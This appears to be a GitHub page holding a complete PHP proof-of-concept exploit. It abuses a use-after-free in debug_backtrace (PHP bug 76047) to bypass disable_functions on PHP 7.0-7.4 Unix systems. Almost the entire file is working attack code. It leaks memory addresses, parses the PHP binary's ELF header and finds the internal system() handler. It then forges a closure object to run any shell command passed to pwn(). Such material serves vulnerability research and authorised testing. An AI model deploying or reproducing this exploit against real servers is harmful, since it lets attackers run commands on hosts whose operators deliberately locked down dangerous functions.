Permalink
Cannot retrieve contributors at this time
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
218 lines (180 sloc)
5.88 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only) | |
# | |
# Bug: https://bugs.php.net/bug.php?id=76047 | |
# debug_backtrace() returns a reference to a variable | |
# that has been destroyed, causing a UAF vulnerability. | |
# | |
# This exploit should work on all PHP 7.0-7.4 versions | |
# released as of 30/01/2020. | |
# | |
# Author: https://github.com/mm0r1 | |
pwn("uname -a"); | |
function pwn($cmd) { | |
global $abc, $helper, $backtrace; | |
class Vuln { | |
public $a; | |
public function __destruct() { | |
global $backtrace; | |
unset($this->a); | |
$backtrace = (new Exception)->getTrace(); # ;) | |
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 | |
$backtrace = debug_backtrace(); | |
} | |
} | |
} | |
class Helper { | |
public $a, $b, $c, $d; | |
} | |
function str2ptr(&$str, $p = 0, $s = 8) { | |
$address = 0; | |
for($j = $s-1; $j >= 0; $j--) { | |
$address <<= 8; | |
$address |= ord($str[$p+$j]); | |
} | |
return $address; | |
} | |
function ptr2str($ptr, $m = 8) { | |
$out = ""; | |
for ($i=0; $i < $m; $i++) { | |
$out .= chr($ptr & 0xff); | |
$ptr >>= 8; | |
} | |
return $out; | |
} | |
function write(&$str, $p, $v, $n = 8) { | |
$i = 0; | |
for($i = 0; $i < $n; $i++) { | |
$str[$p + $i] = chr($v & 0xff); | |
$v >>= 8; | |
} | |
} | |
function leak($addr, $p = 0, $s = 8) { | |
global $abc, $helper; | |
write($abc, 0x68, $addr + $p - 0x10); | |
$leak = strlen($helper->a); | |
if($s != 8) { $leak %= 2 << ($s * 8) - 1; } | |
return $leak; | |
} | |
function parse_elf($base) { | |
$e_type = leak($base, 0x10, 2); | |
$e_phoff = leak($base, 0x20); | |
$e_phentsize = leak($base, 0x36, 2); | |
$e_phnum = leak($base, 0x38, 2); | |
for($i = 0; $i < $e_phnum; $i++) { | |
$header = $base + $e_phoff + $i * $e_phentsize; | |
$p_type = leak($header, 0, 4); | |
$p_flags = leak($header, 4, 4); | |
$p_vaddr = leak($header, 0x10); | |
$p_memsz = leak($header, 0x28); | |
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write | |
# handle pie | |
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; | |
$data_size = $p_memsz; | |
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec | |
$text_size = $p_memsz; | |
} | |
} | |
if(!$data_addr || !$text_size || !$data_size) | |
return false; | |
return [$data_addr, $text_size, $data_size]; | |
} | |
function get_basic_funcs($base, $elf) { | |
list($data_addr, $text_size, $data_size) = $elf; | |
for($i = 0; $i < $data_size / 8; $i++) { | |
$leak = leak($data_addr, $i * 8); | |
if($leak - $base > 0 && $leak - $base < $data_addr - $base) { | |
$deref = leak($leak); | |
# 'constant' constant check | |
if($deref != 0x746e6174736e6f63) | |
continue; | |
} else continue; | |
$leak = leak($data_addr, ($i + 4) * 8); | |
if($leak - $base > 0 && $leak - $base < $data_addr - $base) { | |
$deref = leak($leak); | |
# 'bin2hex' constant check | |
if($deref != 0x786568326e6962) | |
continue; | |
} else continue; | |
return $data_addr + $i * 8; | |
} | |
} | |
function get_binary_base($binary_leak) { | |
$base = 0; | |
$start = $binary_leak & 0xfffffffffffff000; | |
for($i = 0; $i < 0x1000; $i++) { | |
$addr = $start - 0x1000 * $i; | |
$leak = leak($addr, 0, 7); | |
if($leak == 0x10102464c457f) { # ELF header | |
return $addr; | |
} | |
} | |
} | |
function get_system($basic_funcs) { | |
$addr = $basic_funcs; | |
do { | |
$f_entry = leak($addr); | |
$f_name = leak($f_entry, 0, 6); | |
if($f_name == 0x6d6574737973) { # system | |
return leak($addr + 8); | |
} | |
$addr += 0x20; | |
} while($f_entry != 0); | |
return false; | |
} | |
function trigger_uaf($arg) { | |
# str_shuffle prevents opcache string interning | |
$arg = str_shuffle(str_repeat('A', 79)); | |
$vuln = new Vuln(); | |
$vuln->a = $arg; | |
} | |
if(stristr(PHP_OS, 'WIN')) { | |
die('This PoC is for *nix systems only.'); | |
} | |
$n_alloc = 10; # increase this value if UAF fails | |
$contiguous = []; | |
for($i = 0; $i < $n_alloc; $i++) | |
$contiguous[] = str_shuffle(str_repeat('A', 79)); | |
trigger_uaf('x'); | |
$abc = $backtrace[1]['args'][0]; | |
$helper = new Helper; | |
$helper->b = function ($x) { }; | |
if(strlen($abc) == 79 || strlen($abc) == 0) { | |
die("UAF failed"); | |
} | |
# leaks | |
$closure_handlers = str2ptr($abc, 0); | |
$php_heap = str2ptr($abc, 0x58); | |
$abc_addr = $php_heap - 0xc8; | |
# fake value | |
write($abc, 0x60, 2); | |
write($abc, 0x70, 6); | |
# fake reference | |
write($abc, 0x10, $abc_addr + 0x60); | |
write($abc, 0x18, 0xa); | |
$closure_obj = str2ptr($abc, 0x20); | |
$binary_leak = leak($closure_handlers, 8); | |
if(!($base = get_binary_base($binary_leak))) { | |
die("Couldn't determine binary base address"); | |
} | |
if(!($elf = parse_elf($base))) { | |
die("Couldn't parse ELF header"); | |
} | |
if(!($basic_funcs = get_basic_funcs($base, $elf))) { | |
die("Couldn't get basic_functions address"); | |
} | |
if(!($zif_system = get_system($basic_funcs))) { | |
die("Couldn't get zif_system address"); | |
} | |
# fake closure object | |
$fake_obj_offset = 0xd0; | |
for($i = 0; $i < 0x110; $i += 8) { | |
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); | |
} | |
# pwn | |
write($abc, 0x20, $abc_addr + $fake_obj_offset); | |
write($abc, 0xd0 + 0x38, 1, 4); # internal func type | |
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler | |
($helper->b)($cmd); | |
exit(); | |
} |